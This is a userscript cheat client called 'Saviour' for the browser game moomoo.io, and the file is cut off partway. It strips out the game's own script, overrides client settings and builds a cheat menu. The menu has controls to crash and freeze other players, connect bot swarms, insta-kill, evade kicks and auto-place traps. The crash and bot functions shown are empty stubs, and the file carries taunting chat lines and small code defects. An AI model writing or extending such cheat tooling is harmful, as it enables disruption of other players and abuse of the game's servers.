Saviour

Saviour saved you

  1. // ==UserScript==
  2. // @name Saviour
  3. // @icon https://as1.ftcdn.net/v2/jpg/05/69/21/48/1000_F_569214823_rY9rCW76UnyGeLMIDtk9Kgj35nDBziid.jpg
  4. // @match *://*.moomoo.io/*
  5. // @match https://mohmoh.eu/
  6. // @grant none
  7. // @version Vinfinite
  8. // @description Saviour saved you
  9. // @author Saviour/GOD/Heavenly
  10. // @namespace https://greasyfork.org/users/1361862
  11. // ==/UserScript==
  12. let editMainMenu = `
  13. <style>
  14. /* Стили для меню #setupCard */
  15. #setupCard {
  16. border-radius: 10px;
  17. position: absolute;
  18. left: 350px;
  19. top: 0px;
  20. background: #1a1919;
  21. box-shadow: 0px 0px 5px #fff;
  22. transition: box-shadow 0.3s ease;
  23. }
  24.  
  25. #setupCard:hover,
  26. #setupCard:active {
  27. box-shadow: 0px 0px 10px #ffffff;
  28. }
  29.  
  30. #mainMenu {
  31. background-image: url('https://i.pinimg.com/originals/1a/a2/00/1aa2008c04d15f46d38b797cb1452ed4.gif');
  32. background-size: cover;
  33. background-repeat: no-repeat;
  34. background-position: center;
  35.  
  36. }
  37.  
  38. /* Стили для меню #guideCard */
  39. #guideCard {
  40. border-radius: 10px;
  41. position: absolute;
  42. left: 700px;
  43. top: 0px;
  44. background: #1a1919;
  45. box-shadow: 0px 0px 5px #ffffff;
  46. transition: box-shadow 0.3s ease;
  47. }
  48.  
  49. #guideCard:hover,
  50. #guideCard:active {
  51. box-shadow: 0px 0px 10px #ffffff;
  52. }
  53.  
  54.  
  55.  
  56. /* Прочие стили остаются без изменений */
  57. #nameInput::selection {
  58. background: #1a1919;
  59. }
  60.  
  61. #guideCard::-webkit-scrollbar {
  62. width: 0px;
  63. height: 0px;
  64. background-color: rgba(0, 0, 0, 0);
  65. }
  66.  
  67. #mainMenu {
  68. background-color: #1a1919;
  69.  
  70. }
  71.  
  72. .menuCard {
  73. background: #1a1919;
  74. text-align: center;
  75. box-shadow: inset 0px 0px 0px black;
  76. }
  77.  
  78. })();
  79. </script>
  80.  
  81. </style>
  82.  
  83.  
  84. `
  85. $("#mainMenu").append(editMainMenu)
  86.  
  87.  
  88.  
  89.  
  90.  
  91. document.getElementById("partyButton").remove();
  92. document.getElementById("joinPartyButton").remove();
  93.  
  94. document.getElementById("linksContainer2").remove();
  95.  
  96. document.getElementById("gameName").style.font = "120px zamruds";
  97.  
  98. document.getElementById("gameName").style.textShadow = "0px 0px 10px rgba(255, 255, 255, 1)"; // Используем rgba для задания прозрачного голубого цвета
  99. document.getElementById('gameName').style.marginTop = '-200px';
  100. document.getElementById('gameName').innerHTML = 'Saviour';
  101.  
  102.  
  103. let founda = false;
  104. let testMode = window.location.hostname == "127.0.0.1";
  105.  
  106. let scriptTags = document.getElementsByTagName("script");
  107. for (let i = 0; i < scriptTags.length; i++) {
  108. if (scriptTags[i].src.includes("index-f3a4c1ad.js") && !founda) {
  109. scriptTags[i].remove();
  110. founda = true;
  111. break;
  112. }
  113. }
  114.  
  115.  
  116. document.addEventListener("keydown", function(event) {
  117. if (event.keyCode === 192) {
  118. const chatHolder = document.getElementById("gameUI");
  119. if (chatHolder) {
  120. const currentDisplay = chatHolder.style.display;
  121. chatHolder.style.display = currentDisplay === "none" ? "block" : "none";
  122. }
  123. }
  124. });
  125. var styleItem = document.createElement("style");
  126. styleItem.type = "text/css";
  127. styleItem.appendChild(document.createTextNode(`
  128. #suggestBox {
  129. width: 355px;
  130. border-radius: 3px;
  131. background-color: rgba(0,0,0,0.5);
  132. margin: auto;
  133. text-align: left;
  134. z-index: 49;
  135. pointer-events: auto;
  136. position: relative;
  137. bottom: 3.5px;
  138. overflow-y: auto;
  139. }
  140. #suggestBox div {
  141. background-color: rgba(255,255,255,0);
  142. color: rgba(255,255,255,1);
  143. transition: background-color 0.3s, color 0.3s;
  144. }
  145. #suggestBox div:hover {
  146. background-color: rgba(255,255,255,0.2);
  147. color: rgba(0,0,0,1);
  148. }
  149. .suggestBoxHard {
  150. color: rgba(255,255,255,1);
  151. font-size: 18px;
  152. }
  153. .suggestBoxLight {
  154. color: rgba(255,255,255,0.7);
  155. font-size: 18px;
  156. }
  157. `));
  158. document.head.appendChild(styleItem);
  159.  
  160. window.addEventListener('load', function() {
  161. var allianceButton = document.getElementById('allianceButton');
  162. var storeButton = document.getElementById('storeButton');
  163. if (storeButton) {
  164. storeButton.style.right = '26px';
  165. storeButton.style.top = '420px';
  166. }
  167. if (allianceButton) {
  168. allianceButton.style.right = '26px';
  169. allianceButton.style.top = '479px';
  170. }
  171. });
  172.  
  173. function getEl(id) {
  174. return document.getElementById(id);
  175. }
  176.  
  177. let newFont = document.createElement("link");
  178. newFont.rel = "stylesheet";
  179. newFont.href = "https://fonts.googleapis.com/css?family=Ubuntu:700";
  180. newFont.type = "text/css";
  181. document.body.append(newFont);
  182.  
  183. let min = document.createElement("script");
  184. min.src = "https://rawgit.com/kawanet/msgpack-lite/master/dist/msgpack.min.js";
  185. document.body.append(min);
  186. window.oncontextmenu = function() {
  187. return false;
  188. };
  189.  
  190. let config = window.config;
  191.  
  192. // CLIENT:
  193. config.clientSendRate = 9; // Aim Packet Send Rate
  194. config.serverUpdateRate = 9;
  195.  
  196. // UI:
  197. config.deathFadeout = 0;
  198.  
  199. config.playerCapacity = 9999;
  200.  
  201. // CHECK IN SANDBOX:
  202. config.isSandbox = window.location.hostname == "sandbox.moomoo.io";
  203.  
  204. // CUSTOMIZATION:
  205. config.skinColors = ["#bf8f54", "#cbb091", "#896c4b",
  206. "#fadadc", "#ececec", "#c37373", "#4c4c4c", "#ecaff7", "#738cc3",
  207. "#8bc373", "#91b2db"
  208. ];
  209. config.weaponVariants = [{
  210. id: 0,
  211. src: "",
  212. xp: 0,
  213. val: 1,
  214. }, {
  215. id: 1,
  216. src: "_g",
  217. xp: 3000,
  218. val: 1.1,
  219. }, {
  220. id: 2,
  221. src: "_d",
  222. xp: 7000,
  223. val: 1.18,
  224. }, {
  225. id: 3,
  226. src: "_r",
  227. poison: true,
  228. xp: 12000,
  229. val: 1.18,
  230. }, {
  231. id: 4,
  232. src: "_e",
  233. poison: true,
  234. heal: true,
  235. xp: 24000,
  236. val: 1.18,
  237. }];
  238.  
  239. // VISUAL:
  240. config.anotherVisual = true;
  241. config.useWebGl = false;
  242. config.resetRender = true;
  243.  
  244. function waitTime(timeout) {
  245. return new Promise((done) => {
  246. setTimeout(() => {
  247. done();
  248. }, timeout);
  249. });
  250. }
  251.  
  252. let botSkts = [];
  253.  
  254. // STORAGE:
  255. let canStore;
  256. if (typeof(Storage) !== "undefined") {
  257. canStore = true;
  258. }
  259.  
  260. function saveVal(name, val) {
  261. if (canStore)
  262. localStorage.setItem(name, val);
  263. }
  264.  
  265. function deleteVal(name) {
  266. if (canStore)
  267. localStorage.removeItem(name);
  268. }
  269.  
  270. function getSavedVal(name) {
  271. if (canStore)
  272. return localStorage.getItem(name);
  273. return null;
  274. }
  275.  
  276. // CONFIGS:
  277. let gC = function(a, b) {
  278. try {
  279. let res = JSON.parse(getSavedVal(a));
  280. if (typeof res === "object") {
  281. return b;
  282. } else {
  283. return res;
  284. }
  285. } catch (e) {
  286. alert("dieskid");
  287. return b;
  288. }
  289. };
  290.  
  291. function setCommands() {
  292. return {
  293. "help": {
  294. desc: "Show Commands",
  295. action: function(message) {
  296. for (let cmds in commands) {
  297. addMenuChText("/" + cmds, commands[cmds].desc, "lime", 1);
  298. }
  299. }
  300. },
  301. "clear": {
  302. desc: "Clear Chats",
  303. action: function(message) {
  304. resetMenuChText();
  305. }
  306. },
  307. "debug": {
  308. desc: "Debug Mod For Development",
  309. action: function(message) {
  310. addDeadPlayer(player);
  311. addMenuChText("Debug", "Done", "#99ee99", 1);
  312. }
  313. },
  314. "play": {
  315. desc: "Play Music ( /play [link] )",
  316. action: function(message) {
  317. let link = message.split(" ");
  318. if (link[1]) {
  319. let audio = new Audio(link[1]);
  320. audio.play();
  321. } else {
  322. addMenuChText("Warn", "Enter Link ( /play [link] )", "#99ee99", 1);
  323. }
  324. }
  325. },
  326. "bye": {
  327. desc: "Leave Game",
  328. action: function(message) {
  329. window.leave();
  330. }
  331. },
  332. };
  333. }
  334.  
  335. function setConfigs() {
  336. return {
  337. killChat: true,
  338. autoBuy: true,
  339. autoBuyEquip: true,
  340. autoPush: true,
  341. revTick: true,
  342. spikeTick: true,
  343. predictTick: true,
  344. autoPlace: true,
  345. autoReplace: true,
  346. autoPrePlace: true,
  347. antiTrap: true,
  348. slowOT: false,
  349. attackDir: false,
  350. showDir: false,
  351. autoRespawn: false
  352. };
  353. }
  354.  
  355. let commands = setCommands();
  356. let configs = setConfigs();
  357.  
  358. window.removeConfigs = function() {
  359. for (let cF in configs) {
  360. deleteVal(cF, configs[cF]);
  361. }
  362. };
  363.  
  364. for (let cF in configs) {
  365. configs[cF] = gC(cF, configs[cF]);
  366. }
  367.  
  368. // MENU FUNCTIONS:
  369. window.changeMenu = function() {};
  370. window.debug = function() {};
  371. window.freezePlayer = function() {};
  372. window.crashPlayer = function() {};
  373. window.wasdMode = function() {};
  374.  
  375. // PAGE 1:
  376. window.startGrind = function() {};
  377.  
  378. // PAGE 3:
  379. window.connectFillBots = function() {};
  380. window.destroyFillBots = function() {};
  381. window.tryConnectBots = function() {};
  382. window.destroyBots = function() {};
  383. window.resBuild = function() {};
  384. window.toggleBotsCircle = function() {};
  385. window.toggleVisual = function() {};
  386.  
  387. // SOME FUNCTIONS:
  388. window.prepareUI = function() {};
  389. window.leave = function() {};
  390.  
  391. // nah hahahahahhh why good ping
  392. window.ping = 0;
  393.  
  394. class deadfuturechickenmodrevival {
  395. constructor(flarez, lore) {
  396. this.inGame = false;
  397. this.lover = flarez + lore;
  398. this.baby = "ae86";
  399. this.isBlack = 0;
  400. this.webSocket = undefined;
  401. this.checkBaby = function() {
  402. this.baby !== "ae86" ? this.isBlack++ : this.isBlack--;
  403. if (this.isBlack >= 1) return "bl4cky";
  404. return "noting for you";
  405. };
  406. this.x2 = 0;
  407. this.y2 = 0;
  408. this.chat = "Imagine playing this badass game XDDDDD";
  409. this.summon = function(tmpObj) {
  410. this.x2 = tmpObj.x;
  411. this.y2 = tmpObj.y;
  412. this.chat = tmpObj.name + " ur so bad XDDDD";
  413. };
  414. this.commands = function(cmd) {
  415. cmd == "rv3link" && window.open("https://florr.io/");
  416. cmd == "woah" && window.open("https://www.youtube.com/watch?v=MO0AGukzj6M");
  417. return cmd;
  418. };
  419. this.dayte = "11yearold";
  420. this.memeganoob = "69yearold";
  421. this.startDayteSpawn = function(tmpObj) {
  422. let ratio = setInterval(() => {
  423. this.x2 = tmpObj.x + 20;
  424. this.y2 = tmpObj.y - 20;
  425. this.chat = "UR SO BAD LOL";
  426. if (tmpObj.name == "ae86") {
  427. this.chat = "omg ae86 go run";
  428. setTimeout(() => {
  429. this.inGame = false;
  430. clearInterval(ratio);
  431. }, 1000);
  432. }
  433. }, 1234);
  434. };
  435. this.AntiChickenModV69420 = function(tmpObj) {
  436. return "!c!dc user " + tmpObj.name;
  437. };
  438. }
  439. };
  440. class HtmlAction {
  441. constructor(element) {
  442. this.element = element;
  443. };
  444. add(code) {
  445. if (!this.element) return undefined;
  446. this.element.innerHTML += code;
  447. };
  448. newLine(amount) {
  449. let result = `<br>`;
  450. if (amount > 0) {
  451. result = ``;
  452. for (let i = 0; i < amount; i++) {
  453. result += `<br>`;
  454. }
  455. }
  456. this.add(result);
  457. };
  458. checkBox(setting) {
  459. let newCheck = `<input type = "checkbox"`;
  460. setting.id && (newCheck += ` id = ${setting.id}`);
  461. setting.style && (newCheck += ` style = ${setting.style.replaceAll(" ", "")}`);
  462. setting.class && (newCheck += ` class = ${setting.class}`);
  463. setting.checked && (newCheck += ` checked`);
  464. setting.onclick && (newCheck += ` onclick = ${setting.onclick}`);
  465. newCheck += `>`;
  466. this.add(newCheck);
  467. };
  468. text(setting) {
  469. let newText = `<input type = "text"`;
  470. setting.id && (newText += ` id = ${setting.id}`);
  471. setting.style && (newText += ` style = ${setting.style.replaceAll(" ", "")}`);
  472. setting.class && (newText += ` class = ${setting.class}`);
  473. setting.size && (newText += ` size = ${setting.size}`);
  474. setting.maxLength && (newText += ` maxLength = ${setting.maxLength}`);
  475. setting.value && (newText += ` value = ${setting.value}`);
  476. setting.placeHolder && (newText += ` placeHolder = ${setting.placeHolder.replaceAll(" ", "&nbsp;")}`);
  477. newText += `>`;
  478. this.add(newText);
  479. };
  480. select(setting) {
  481. let newSelect = `<select`;
  482. setting.id && (newSelect += ` id = ${setting.id}`);
  483. setting.style && (newSelect += ` style = ${setting.style.replaceAll(" ", "")}`);
  484. setting.class && (newSelect += ` class = ${setting.class}`);
  485. newSelect += `>`;
  486. for (let options in setting.option) {
  487. newSelect += `<option value = ${setting.option[options].id}`
  488. setting.option[options].selected && (newSelect += ` selected`);
  489. newSelect += `>${options}</option>`;
  490. }
  491. newSelect += `</select>`;
  492. this.add(newSelect);
  493. };
  494. button(setting) {
  495. let newButton = `<button`;
  496. setting.id && (newButton += ` id = ${setting.id}`);
  497. setting.style && (newButton += ` style = ${setting.style.replaceAll(" ", "")}`);
  498. setting.class && (newButton += ` class = ${setting.class}`);
  499. setting.onclick && (newButton += ` onclick = ${setting.onclick}`);
  500. newButton += `>`;
  501. setting.innerHTML && (newButton += setting.innerHTML);
  502. newButton += `</button>`;
  503. this.add(newButton);
  504. };
  505. selectMenu(setting) {
  506. let newSelect = `<select`;
  507. if (!setting.id) {
  508. alert("please put id skid");
  509. return;
  510. }
  511. window[setting.id + "Func"] = function() {};
  512. setting.id && (newSelect += ` id = ${setting.id}`);
  513. setting.style && (newSelect += ` style = ${setting.style.replaceAll(" ", "")}`);
  514. setting.class && (newSelect += ` class = ${setting.class}`);
  515. newSelect += ` onchange = window.${setting.id + "Func"}()`;
  516. newSelect += `>`;
  517. let last;
  518. let i = 0;
  519. for (let options in setting.menu) {
  520. newSelect += `<option value = ${"option_" + options} id = ${"O_" + options}`;
  521. setting.menu[options] && (newSelect += ` checked`);
  522. newSelect += ` style = "color: ${setting.menu[options] ? "#000" : "#fff"}; background: ${setting.menu[options] ? "#8ecc51" : "#cc5151"};">${options}</option>`;
  523. i++;
  524. }
  525. newSelect += `</select>`;
  526.  
  527. this.add(newSelect);
  528.  
  529. i = 0;
  530. for (let options in setting.menu) {
  531. window[options + "Func"] = function() {
  532. setting.menu[options] = getEl("check_" + options).checked ? true : false;
  533. saveVal(options, setting.menu[options]);
  534.  
  535. getEl("O_" + options).style.color = setting.menu[options] ? "#000" : "#fff";
  536. getEl("O_" + options).style.background = setting.menu[options] ? "#8ecc51" : "#cc5151";
  537.  
  538. //getEl(setting.id).style.color = setting.menu[options] ? "#8ecc51" : "#cc5151";
  539.  
  540. };
  541. this.checkBox({
  542. id: "check_" + options,
  543. style: `display: ${i == 0 ? "inline-block" : "none"};`,
  544. class: "checkB",
  545. onclick: `window.${options + "Func"}()`,
  546. checked: setting.menu[options]
  547. });
  548. i++;
  549. }
  550.  
  551. last = "check_" + getEl(setting.id).value.split("_")[1];
  552. window[setting.id + "Func"] = function() {
  553. getEl(last).style.display = "none";
  554. last = "check_" + getEl(setting.id).value.split("_")[1];
  555. getEl(last).style.display = "inline-block";
  556.  
  557. //getEl(setting.id).style.color = setting.menu[last.split("_")[1]] ? "#8ecc51" : "#fff";
  558.  
  559. };
  560. };
  561. };
  562. class Html {
  563. constructor() {
  564. this.element = null;
  565. this.action = null;
  566. this.divElement = null;
  567. this.startDiv = function(setting, func) {
  568.  
  569. let newDiv = document.createElement("div");
  570. setting.id && (newDiv.id = setting.id);
  571. setting.style && (newDiv.style = setting.style);
  572. setting.class && (newDiv.className = setting.class);
  573. this.element.appendChild(newDiv);
  574. this.divElement = newDiv;
  575.  
  576. let addRes = new HtmlAction(newDiv);
  577. typeof func == "function" && func(addRes);
  578.  
  579. };
  580. this.addDiv = function(setting, func) {
  581.  
  582. let newDiv = document.createElement("div");
  583. setting.id && (newDiv.id = setting.id);
  584. setting.style && (newDiv.style = setting.style);
  585. setting.class && (newDiv.className = setting.class);
  586. setting.appendID && getEl(setting.appendID).appendChild(newDiv);
  587. this.divElement = newDiv;
  588.  
  589. let addRes = new HtmlAction(newDiv);
  590. typeof func == "function" && func(addRes);
  591.  
  592. };
  593. };
  594. set(id) {
  595. this.element = getEl(id);
  596. this.action = new HtmlAction(this.element);
  597. };
  598. resetHTML(text) {
  599. if (text) {
  600. this.element.innerHTML = ``;
  601. } else {
  602. this.element.innerHTML = ``;
  603. }
  604. };
  605. setStyle(style) {
  606. this.element.style = style;
  607. };
  608. setCSS(style) {
  609. this.action.add(`<style>` + style + `</style>`);
  610. };
  611. };
  612.  
  613.  
  614.  
  615. let HTML = new Html();
  616.  
  617. let menuDiv = document.createElement("div");
  618. menuDiv.id = "menuDiv";
  619. menuDiv.draggable = true;
  620.  
  621. menuDiv.addEventListener("dragstart", function (e) {
  622. e.dataTransfer.setData("text/plain", "");
  623. });
  624.  
  625. document.addEventListener("dragover", function (e) {
  626. menuDiv.style.left = e.clientX - menuDiv.offsetWidth / 2 + "px";
  627. menuDiv.style.top = e.clientY - menuDiv.offsetHeight / 2 + "px";
  628. });
  629.  
  630. document.body.appendChild(menuDiv);
  631. HTML.set("menuDiv");
  632. HTML.setStyle(`
  633. position: absolute;
  634. left: 0px;
  635. top: 25px;
  636. `);
  637. HTML.resetHTML();
  638. HTML.setCSS(`
  639. @keyframes pulse {
  640. 0% {
  641. background-color: #1a1a1a; /* Initial color */
  642. }
  643. 50% {
  644. background-color: #333; /* Intermediate color */
  645. }
  646. 100% {
  647. background-color: #2c3e50; /* Final color */
  648. }
  649. }
  650.  
  651. @keyframes clickAnimation {
  652. 0% {
  653. transform: scale(1);
  654. }
  655. 50% {
  656. transform: scale(1.1);
  657. }
  658. 100% {
  659. transform: scale(1);
  660. }
  661. }
  662.  
  663. @keyframes checkAnimation {
  664. 0% {
  665. transform: scale(1);
  666. box-shadow: 0 0 0 rgba(0, 0, 0, 0);
  667. }
  668. 50% {
  669. transform: scale(1.2);
  670. box-shadow: 0 0 10px rgba(0, 0, 0, 0.5);
  671. }
  672. 100% {
  673. transform: scale(1);
  674. box-shadow: 0 0 0 rgba(0, 0, 0, 0);
  675. }
  676. }
  677.  
  678. body {
  679. background: #1a1a1a; /* Dark background color */
  680. color: #fff;
  681. font-family: "Segoe UI", Tahoma, Geneva, Verdana, sans-serif;
  682. }
  683.  
  684. .menuClass {
  685. color: #fff;
  686. font-size: 24px; /* Increased font size */
  687. text-align: left;
  688. padding: 20px;
  689. width: 357px;
  690. background-image: url('https://www.transparenttextures.com/patterns/asfalt-dark.png'); /* Rugged texture */
  691. border: 2px solid #444; /* Dark border color */
  692. border-radius: 12px; /* Rounded corners */
  693. animation: pulse 5s infinite alternate; /* Apply pulsating animation */
  694. }
  695.  
  696. .menuC {
  697. display: none;
  698. font-size: 16px; /* Increased font size */
  699. max-height: 200px;
  700. overflow-y: auto;
  701. animation: fadeIn 0.5s ease; /* Smooth dropdown animation */
  702. }
  703.  
  704. .menuB {
  705. text-align: center;
  706. background-color: #2c3e50; /* Dark button background color */
  707. color: #fff;
  708. border: none;
  709. border-radius: 30px; /* Rounded corners */
  710. padding: 12px 24px; /* Increased padding */
  711. cursor: pointer;
  712. transition: background-color 0.3s ease, transform 0.2s ease, box-shadow 0.3s ease; /* Added transitions */
  713. }
  714.  
  715. .menuB:hover {
  716. background-color: #34495e; /* Darker hover color */
  717. box-shadow: 0 0 20px rgba(0, 0, 0, 0.7); /* Enhanced shadow effect on hover */
  718. }
  719.  
  720. .menuB:active {
  721. transform: translateY(2px);
  722. }
  723.  
  724. .customText {
  725. color: #fff;
  726. background-color: #2c3e50;
  727. border: 1px solid #444; /* Dark border color */
  728. border-radius: 8px; /* Rounded corners */
  729. padding: 8px;
  730. transition: background-color 0.3s ease;
  731. }
  732.  
  733. .customText:focus {
  734. background-color: #333; /* Darker focus color */
  735. }
  736.  
  737. .checkB {
  738. position: relative;
  739. cursor: pointer;
  740. -webkit-appearance: none;
  741. -moz-appearance: none;
  742. appearance: none;
  743. width: 25px;
  744. height: 25px;
  745. border: 2px solid #555;
  746. border-radius: 50%;
  747. background-color: transparent;
  748. vertical-align: middle; /* Align vertically with menu text */
  749. margin-right: 10px; /* Add some spacing between the check button and menu text */
  750. transition: background-color 0.3s ease;
  751. }
  752.  
  753. .checkB:checked {
  754. background-color: #2ecc71; /* Checked color */
  755. animation: checkAnimation 0.3s ease; /* Apply check animation */
  756. }
  757.  
  758. .checkB::after {
  759. content: "";
  760. position: absolute;
  761. top: 50%;
  762. left: 50%;
  763. transform: translate(-50%, -50%);
  764. width: 10px;
  765. height: 10px;
  766. background-color: #fff;
  767. border-radius: 50%;
  768. opacity: 0;
  769. transition: opacity 0.3s ease;
  770. }
  771.  
  772. .checkB:checked::after {
  773. opacity: 1;
  774. }
  775.  
  776. .Cselect {
  777. background-color: #333; /* Dark background color */
  778. color: #fff;
  779. border: 1px solid #444; /* Dark border color */
  780. border-radius: 40px; /* Rounded corners */
  781. padding: 8px;
  782. }
  783.  
  784. #menuChanger {
  785. position: absolute;
  786. right: 20px;
  787. top: 20px;
  788. background-color: transparent;
  789. color: #fff;
  790. border: none;
  791. cursor: pointer;
  792. animation: none;
  793. }
  794.  
  795. #menuChanger:hover {
  796. color: #ccc;
  797. }
  798.  
  799. #menuChanger:active {
  800. animation: clickAnimation 0.2s ease; /* Apply click animation */
  801. }
  802.  
  803. /* Scrollbars */
  804. ::-webkit-scrollbar {
  805. width: 8px;
  806. }
  807.  
  808. ::-webkit-scrollbar-track {
  809. background: #2c3e50; /* Matching background color */
  810. }
  811.  
  812. ::-webkit-scrollbar-thumb {
  813. background: #34495e; /* Matching thumb color */
  814. border-radius: 4px;
  815. }
  816.  
  817. ::-webkit-scrollbar-thumb:hover {
  818. background: #2c3e50; /* Darker hover color */
  819. }
  820.  
  821. `);
  822. HTML.startDiv({
  823. id: "menuHeadLine",
  824. class: "menuClass"
  825. }, (html) => {
  826. html.add(`Saviour`);
  827. html.button({
  828. id: "menuChanger",
  829. class: "material-icons",
  830. innerHTML: `sync`,
  831. onclick: "window.changeMenu()"
  832. });
  833. HTML.addDiv({
  834. id: "menuButtons",
  835. style: "display: block; overflow-y: visible;",
  836. class: "menuC",
  837. appendID: "menuHeadLine"
  838. }, (html) => {
  839. html.button({
  840. class: "menuB",
  841. innerHTML: "Debug",
  842. onclick: "window.debug()"
  843. });
  844. html.button({
  845. class: "menuB",
  846. innerHTML: "Freeze Player",
  847. onclick: "window.freezePlayer()"
  848. });
  849. html.button({
  850. class: "menuB",
  851. innerHTML: "Crash Players",
  852. onclick: "window.crashPlayer()"
  853. });
  854.  
  855.  
  856.  
  857. html.button({
  858. class: "menuB",
  859. innerHTML: "Dagger optiomazation",
  860. oneclick: "window.rushmode()"
  861. });
  862. });
  863. HTML.addDiv({
  864. id: "menuMain",
  865. style: "display: block",
  866. class: "menuC",
  867. appendID: "menuHeadLine"
  868. }, (html) => {
  869. html.newLine();
  870. html.add(`Auto-Grinder: `);
  871. html.checkBox({
  872. id: "weaponGrind",
  873. class: "checkB",
  874. onclick: "window.startGrind()"
  875. });
  876. html.newLine(2);
  877. html.add(`AutoHeal:`);
  878. html.checkBox({
  879. id: "healingBeta",
  880. class: "checkB",
  881. checked: true
  882. });
  883.  
  884. html.newLine(2);
  885. html.add(`BrightnessType: `);
  886. html.select({
  887. id: "brightnesstype", class: "Cselect", option: {
  888. "HalfMorning": {
  889. id: "oe",
  890. selected: true
  891. },
  892. "Morning": {
  893. id: "fz",
  894. },
  895. "Afternoon": {
  896. id: "simp",
  897. },
  898. "HalfNight": {
  899. id: "hnr",
  900. },
  901. "Night": {
  902. id: "blox",
  903. },
  904. }
  905. });
  906.  
  907.  
  908. html.newLine(2);
  909. html.add(`SyncType: `);
  910. html.select({
  911. id: "syncType", class: "Cselect", option: {
  912. "InstaSync": {
  913. id: "s1",
  914. },
  915. "ShootSync": {
  916. id: "s2",
  917. selected: true
  918. }
  919. }
  920. });
  921. html.newLine();
  922. html.add("Sync: ");
  923. html.checkBox({
  924. id: "musketSync",
  925. class: "checkB",
  926. checked: true
  927. });
  928.  
  929. html.newLine(2);
  930. html.add("AntiKick:");
  931. html.checkBox({
  932. id: "antikick",
  933. class: "checkB",
  934. checked: false
  935. });
  936. html.newLine();
  937. });
  938. HTML.addDiv({
  939. id: "menuConfig",
  940. class: "menuC",
  941. appendID: "menuHeadLine"
  942. }, (html) => {
  943. html.add(`AutoPlacer Placement Tick: `);
  944. html.text({
  945. id: "autoPlaceTick",
  946. class: "customText",
  947. value: "2",
  948. size: "2em",
  949. maxLength: "1"
  950. });
  951. html.newLine();
  952. html.add(`Configs: `);
  953. html.selectMenu({
  954. id: "configsChanger",
  955. class: "Cselect",
  956. menu: configs
  957. });
  958. html.newLine();
  959. html.add(`InstaKill Type: `);
  960. html.select({
  961. id: "instaType",
  962. class: "Cselect",
  963. option: {
  964. OneShot: {
  965. id: "oneShot",
  966. selected: true
  967. },
  968. Spammer: {
  969. id: "spammer"
  970. }
  971. }
  972. });
  973. html.newLine();
  974. html.add(`AntiBull Type: `);
  975. html.select({
  976. id: "antiBullType",
  977. class: "Cselect",
  978. option: {
  979. "Disable AntiBull": {
  980. id: "noab",
  981. selected: true
  982. },
  983. "When Reloaded": {
  984. id: "abreload",
  985. },
  986. "Primary Reloaded": {
  987. id: "abalway"
  988. }
  989. }
  990. });
  991. html.newLine();
  992. html.add(`AutoPlaceType: `);
  993. html.select({
  994. id: "autoPlacetype", class: "Cselect", option: {
  995. Smart: {
  996. id: "smart",
  997. selected: true
  998. },
  999. MagicPlace: {
  1000. id: "magicplace",
  1001. },
  1002. AiPlace: {
  1003. id: "aiplace",
  1004. },
  1005. Spamtrap: {
  1006. id: "spamtrap",
  1007. },
  1008. Spamtrap2: {
  1009. id: "spamtrap2",
  1010. },
  1011. Honor: {
  1012. id: "ramdomplc",
  1013.  
  1014. }
  1015. }
  1016. });
  1017. html.newLine();
  1018. html.add(`Pre placer Type: `);
  1019. html.select({
  1020. id: "preplacerType", class: "Cselect", option: {
  1021. Spike: {
  1022. id: "preplacerspike",
  1023. selected: true
  1024. },
  1025. Trap: {
  1026. id: "preplacertrap"
  1027. }
  1028. }
  1029. });
  1030.  
  1031. html.newLine();
  1032. html.add(`Backup Nobull Insta: `);
  1033. html.checkBox({
  1034. id: "backupNobull",
  1035. class: "checkB",
  1036. checked: true
  1037. });
  1038. html.newLine();
  1039. html.add(`Turret Gear Combat Assistance: `);
  1040. html.checkBox({
  1041. id: "turretCombat",
  1042. class: "checkB"
  1043. });
  1044. html.newLine();
  1045. html.add(`Safe AntiSpikeTick: `);
  1046. html.checkBox({
  1047. id: "safeAntiSpikeTick",
  1048. class: "checkB",
  1049. checked: true
  1050. });
  1051. html.newLine();
  1052. });
  1053. HTML.addDiv({
  1054. id: "menuOther",
  1055. class: "menuC",
  1056. appendID: "menuHeadLine"
  1057. }, (html) => {
  1058. html.button({
  1059. class: "menuB",
  1060. innerHTML: "Connect Bots",
  1061. onclick: "window.tryConnectBots()"
  1062. });
  1063. html.button({
  1064. class: "menuB",
  1065. innerHTML: "Disconnect Bots",
  1066. onclick: "window.destroyBots()"
  1067. });
  1068. html.newLine();
  1069. html.button({
  1070. class: "menuB",
  1071. innerHTML: "Connect FBots",
  1072. onclick: "window.connectFillBots()"
  1073. });
  1074. html.button({
  1075. class: "menuB",
  1076. innerHTML: "Disconnect FBots",
  1077. onclick: "window.destroyFillBots()"
  1078. });
  1079. html.newLine();
  1080. html.button({
  1081. class: "menuB",
  1082. innerHTML: "Reset Break Objects",
  1083. onclick: "window.resBuild()"
  1084. });
  1085. html.newLine();
  1086. html.add(`Break Objects Range: `);
  1087. html.text({
  1088. id: "breakRange",
  1089. class: "customText",
  1090. value: "700",
  1091. size: "3em",
  1092. maxLength: "4"
  1093. });
  1094. html.newLine();
  1095. html.add(`Predict Movement Type: `);
  1096. html.select({
  1097. id: "predictType",
  1098. class: "Cselect",
  1099. option: {
  1100. "Disable Render": {
  1101. id: "disableRender",
  1102. selected: true
  1103. },
  1104. "X/Y and 2": {
  1105. id: "pre2",
  1106. },
  1107. "X/Y and 3": {
  1108. id: "pre3"
  1109. }
  1110. }
  1111. });
  1112. html.newLine();
  1113. html.add(`Render Placers: `);
  1114. html.checkBox({
  1115. id: "placeVis",
  1116. class: "checkB",
  1117. });
  1118. html.newLine();
  1119. html.add(`Bot Mode: `);
  1120. html.select({
  1121. id: "mode",
  1122. class: "Cselect",
  1123. option: {
  1124. "Clear Building": {
  1125. id: "clear",
  1126. selected: true
  1127. },
  1128. "Sync": {
  1129. id: "zync",
  1130. },
  1131. "Search": {
  1132. id: "zearch"
  1133. },
  1134. "Clear Everything": {
  1135. id: "fuckemup"
  1136. },
  1137. "Flex": {
  1138. id: "flex"
  1139. }
  1140. }
  1141. });
  1142. html.newLine(2);
  1143. html.button({
  1144. class: "menuB",
  1145. innerHTML: "Toggle Fbots Circle",
  1146. onclick: "window.toggleBotsCircle()"
  1147. });
  1148. html.newLine();
  1149. html.add(`Circle Rad: `);
  1150. html.text({
  1151. id: "circleRad",
  1152. class: "customText",
  1153. value: "200",
  1154. size: "3em",
  1155. maxLength: "4"
  1156. });
  1157. html.newLine();
  1158. html.add(`Rad Speed: `);
  1159. html.text({
  1160. id: "radSpeed",
  1161. class: "customText",
  1162. value: "0.1",
  1163. size: "2em",
  1164. maxLength: "3"
  1165. });
  1166. html.newLine();
  1167. html.add(`Bot Zetup Type: `);
  1168. html.select({
  1169. id: "setup",
  1170. class: "Cselect",
